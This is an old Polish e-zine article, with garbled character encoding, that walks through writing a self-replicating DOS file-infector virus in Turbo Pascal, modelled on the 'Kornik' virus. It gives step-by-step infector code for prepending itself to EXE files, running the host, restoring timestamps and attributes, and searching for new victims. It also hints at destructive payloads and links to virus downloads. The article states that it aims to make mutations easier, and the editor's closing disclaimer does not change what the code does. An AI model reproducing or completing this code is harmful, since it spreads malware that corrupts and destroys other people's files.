Art ten ma za zadanie przybli┐yµ temat wirus≤w (plikowych) pisanych w jΩzyku wysokiego poziomu (w naszym przypadku Turbo Pascal). Przyk│adowe wirusy w Turbo Pascalu mo┐na ╢ci▒gn▒µ ze strony grupy NorbSoft (URL: http://www.norbsoft.prv.pl/wirusy.zip ).

Na zako±czenie wstΩpu informujΩ, i┐ art ten zosta│ stworzony w oparciu o wirusa HLL Kornik, autorstwa niejakiego Wajrusa (jest on r≤wnie┐ autorem FAQ dotycz▒cego pisania wirus≤w w ASM'ie), nie jest wiΩc typowym, szeroko pojΩtym kursem pisania tego typu wirus≤w, lecz szczeg≤│owo obja╢nia zasadΩ dzia│ania jednego z nich, u│atwiaj▒c dokonywania jego mutacji . 

A wiΩc zaczynamy...

Na pocz▒tku przedstawiΩ og≤lny spos≤b dzia│ania naszego wirusa:

1. Pobierz aktualny czas i datΩ systemow▒, na ich podstawie dokonaj jakiej╢ operacji destrukcyjnej. 
2. Pobierz atrybuty pliku, zapamiΩtaj je i wyzeruj.
3. Wczytaj wirusa do tablicy (bufora).
4. Pobierz wszystkie parametry z jakimi u┐ytkownik uruchamia program i zapamiΩtaj je. 
5. Pobierz datΩ i czas ostatniej modyfikacji pliku.
6. Wczytaj z ko±ca wirusa oryginalne bajty pliku EXE i zapisz je na pocz▒tku.
7. Uruchom oryginalny plik EXE z zapamiΩtanymi parametrami.
8. Zapisz wirusa na pocz▒tku pliku EXE.
9. Przywr≤µ plikowi oryginaln▒ datΩ i czas ostatniej modyfikacji.
10. Przywr≤µ plikowi oryginalne atrybuty.
11. Znajd╝ plik w bie┐▒cym katalogu i spr≤buj go zaraziµ.

Tak by to wygl▒da│o w skr≤cie, a teraz krok po kroku obja╢niΩ na kodzie wirusa Kornik ka┐dy element.


const
VirSize=8352; Tyle bajt≤w zajmuje wirus Kornik po skompilowaniu
Zawsze w tym miejscu podajemy wielko╢µ naszego wirusa, 
tzn. piszemy wirusa, kompilujemy go (daj▒c sta│ej VirSize dowoln▒
warto╢µ), sprawdzamy ile zajmuje, dajemy t▒ warto╢µ tej sta│ej i
ponownie kompilujemy.


var
VirData,ExeData : Array[1..VirSize] of Byte; 
To s▒ dwa buforki kt≤re przechowuj▒ wirusa i oryginalne bajty EXE'ca

Plik : File;
Wykorzystujemy przy operacjach plikowych.

KoniecSesji : boolean;
Licznik,Attr : Word; 
Wykorzystywane przy rozmna┐aniu siΩ wirusa. 

Parametry : String;
Przechowuje parametry z jakimi u┐ytkownik uruchomi│ EXE'ca

Exe : SearchRec;
Wiadomo

To s▒ najwa┐niejsze zmienne, w kodzie wirusa jest ich troszeczkΩ wiΩcej. 

Ad.1 
Z tym nie ma chyba ┐adnego problemu, korzystamy z polece± GetTime i GetDate:
GetTime(G,N,X,f)
GetDate(Y,M,D,c) 
i w zale┐no╢ci od sytuacji wykonujemy dan▒ procedurΩ destrukcyjn▒, np.
if Y/2 = Y div 2 then ...... {je╢li rok jest podzielny przez 2 to wykonaj jak▒╢ procedurΩ destrukcyjn▒}
W niniejszym kursie nie bΩdΩ przedstawia│ mo┐liwo╢ci destrukcyjnych, zostawiam to Waszej wyobra╝ni. (mo┐ecie je odgapiµ z wira Wajrusa, zw│aszcza ta formatuj▒ca losowe obszary HDD jest interesuj▒ca).

Ad.2 
Assign(Plik, ParamStr(0)); {otwiera bie┐▒cy plik, bo ParamStr(0) zwraca nazwΩ bie┐▒cego pliku}
GetFAttr(Plik,Attr); {zapamiΩtuje atrybuty pliku w zmiennej Attr}
SetFAttr(Plik,0); {zeruje atrybuty pliku}
Reset(Plik,1); {Przygotowuje plik do odczytu}

Ad. 3.
Teraz wczytujemy do tablicy dane wirusa (tablica zmiennych typu byte, zawieraj▒ca n element≤w, gdzie n to wielko╢µ wirusa w bajtach - w podobnej tablicy zapiszemy dane pliku EXE)

BlockRead(Plik, VirData, VirSize);

Ad. 4. 
Teraz przyszed│ czas na zapamiΩtanie parametr≤w, z jakimi u┐ytkownik chce uruchomiµ plik EXE, gdyby╢my ich p≤╝niej nie przekazali plikowi, m≤g│by on (u┐ytkownik nie EXE'c) zrozumieµ, i┐ co╢ jest nie tak.

Parametry:='';
for Licznik:=1 to ParamCount do
Parametry:=Parametry+ParamStr(Licznik);

Ad. 5.
Przed uruchomieniem pliku-ofiary musimy jeszcze :

a) Otworzyµ plik z wirem, zapamiΩtaµ stare atrybuty i je wyzerowaµ (kod jak w pkt.2)
b) Pobraµ datΩ i czas ostatniej modyfikacji pliku:
GetfTime(Plik,ft);
UnpackTime(ft,dc);
with dc do
begin
godz:=hour;
min:=min;
sek:=sec;
rok:=year;
mie:=month;
dzie±:=day;
PackTime(dc,ft);
GetfTime(Plik,ft);
end;
Ad. 6. 
Musimy tak┐e przywr≤ciµ plikowi jego pierwotn▒ strukturΩ, aby zosta│ poprawnie wykonany:

Seek(Plik,FileSize(Plik)-VirSize); {oryginalne bajty pliku EXE s▒ skopiowane na jego koniec,
skaczemy na pocz▒tek tych danych}
BlockRead(Plik, ExeData, VirSize); {Wczytujemy je do tablicy}
Seek(Plik,0); {Skaczemy na pocz▒tek pliku}
BlockWrite(Plik, ExeData, VirSize); { i zapisujemy dane pliku EXE}
{plik jest teraz niezainfekowany i mo┐na go uruchomiµ}

Ad.7.
Uruchomienie oryginalnego programu jest banalnie proste:
SwapVestors;
Exec(ParamStr(0), Parametry);
SwapVestors;
{Uruchamiamy oryginalny plik z podanymi parametrami}
Ad.8.
Gdy oryginalny program zako±czy swoje dzia│anie, ponownie go infekujemy:
Assign(Plik, ParamStr(0)); 
Reset(Plik,1); 
BlockWrite(Plik, VirData, VirSize); {zapisujemy ponownie wirusa}
Ad.9.
NastΩpnie przywracamy mu oryginalny czas i datΩ:
with dc do
begin
hour:=godz;
min:=min;
sec:=sek;
year:=rok;
month:=mie;
day:=dzien;
PackTime(dc,ft);
Reset(Plik);
GetfTime(Plik,ft);
end;
Close(Plik);
Ad. 10.
A tak┐e atrybuty:

SetFAttr(Plik, Attr);

Ad. 11. 
Teraz kolej na znalezienie ofiary, np. w bie┐▒cym katalogu i jej zainfekowanie:
GetDir(0, Sciezka);
Katalog:=Sciezka;
...
FindFirst('*.exe',AnyFile,Exe);
KoniecSesji:=false;
repeat
if AtakujEXE then KoniecSesji:=true
else FindNext(Exe);
until KoniecSesji=true;

gdzie AtakujEXE jest funkcj▒ (obja╢nienie poni┐ej), kt≤ra zwraca TRUE, je╢li plik zosta│ zara┐ony, FALSE - gdy by│ ju┐ zara┐ony (w≤wczas, szukamy nastΩpnej potencjalnej ofiary).

Funkcja AtakujEXE
Jako parametr podajemy nazwΩ pliku do zara┐enia ("function AtakujEXE(nazwa:string):boolean") 

Na pocz▒tek musimy wykonaµ operacje opisane w pkt. 2 i 5 z tym, ┐e na pliku naszej nowej ofiary.
NastΩpnie wczytujemy do naszego buforka, oryginalne pocz▒tkowe bajty EXE'ca i sprawdzamy czy nasza ofiara jest ju┐ zara┐ona:

BlockRead(plik,ExeData,VirSize);

Licznik:=1;
Zarazony:=true;
repeat
if VirData[Licznik]<>ExeData[Licznik] then Zarazony:=false;
inc(Licznik)
until (Licznik=VirSize) or not (Zarazony);

Powy┐sza pΩtla por≤wnuje bajt po bajcie kod naszego wirusa i pocz▒tkowe bajty pliku EXE. Je╢li s▒ one takie same, to wiadomo - plik by│ ju┐ wcze╢niej zara┐ony, je╢li wyst▒pi chocia┐ jedna r≤┐nica - plik EXE nie jest zara┐ony.

If not Zarazony then
begin
Seek(plik,0); {1}
BlockWrite(plik,VirData,VirSize); {2}
Seek(plik,FileSize(plik)); {3}
BlockWrite(plik,ExeData,VirSize); {4}
AtakujEXE:=true;
end;
A teraz opis do powy┐szego kodu:

{1} Skocz na pocz▒tek pliku ofiary
{2} Zapisz tam wirusa
{3} Id╝ na koniec pliku
{4} i zapisz tam oryginalne, pocz▒tkowe bajty EXE'ca

I to by by│o na tyle, je╢li chodzi o zasadΩ dzia│ania tego wirusa. 

Na zako±czenie jeszcze co╢ zobrazujΩ:

|+++++++===========| plik EXE

|*******| wirus

|*******===========+++++++| zara┐ony plik EXE


Po uruchomieniu zara┐onego pliku EXE, wirus wykonuje r≤┐ne operacje destrukcyjne,
przepisuje oryginalny kod EXE'ca (oznaczony jako +++++++ na jego pocz▒tek) i go 
wykonuje, gdy zako±czy on dzia│anie, ponownie zapisuje sam siebie na pocz▒tek (*******), szuka ofiary, kiedy j▒ znajdzie przepisuje oryginalne bajty ofiary na jej koniec, a sam zapisuje siΩ na pocz▒tku.

Polecam samodzieln▒ analizΩ kodu wirusa Kornik (Slash powinien go daµ w @t. Je╢li go nie znajdziecie, jest pod adresem podanym na pocz▒tku arta.), gdy┐ w≤wczas wtedy mo┐na w pe│ni zrozumieµ niniejszy art, jest on r≤wnie┐ nieco bardziej rozbudowany (w arcie opisujΩ tylko szkielet takiego wirusa).

Od Slasha: Stwierdzi│em, ┐e ten art ma za zadaniu pokazaµ na jakiej zasadzie dzia│aj▒ wirusy, jak to siΩ dzieje, ┐e potrafi▒ siΩ tak "rozmna┐aµ", a do zrozumienia ich dzia│ania musi byµ jaki╢ przyk│ad - tak wiΩc znajdziecie go TUTAJ
PamiΩtajcie, ┐e zamie╢ci│em ten plik tutaj aby zobaczyµ metodΩ dzia│ania wirusa, a nie po to aby╢cie skompilowali ten projekt i rozsy│ali go gdzie╢ w necie !


Autor: Norbert Sitko 
mail: norby@norbsoft.prv.pl 
www: www.norbsoft.prv.pl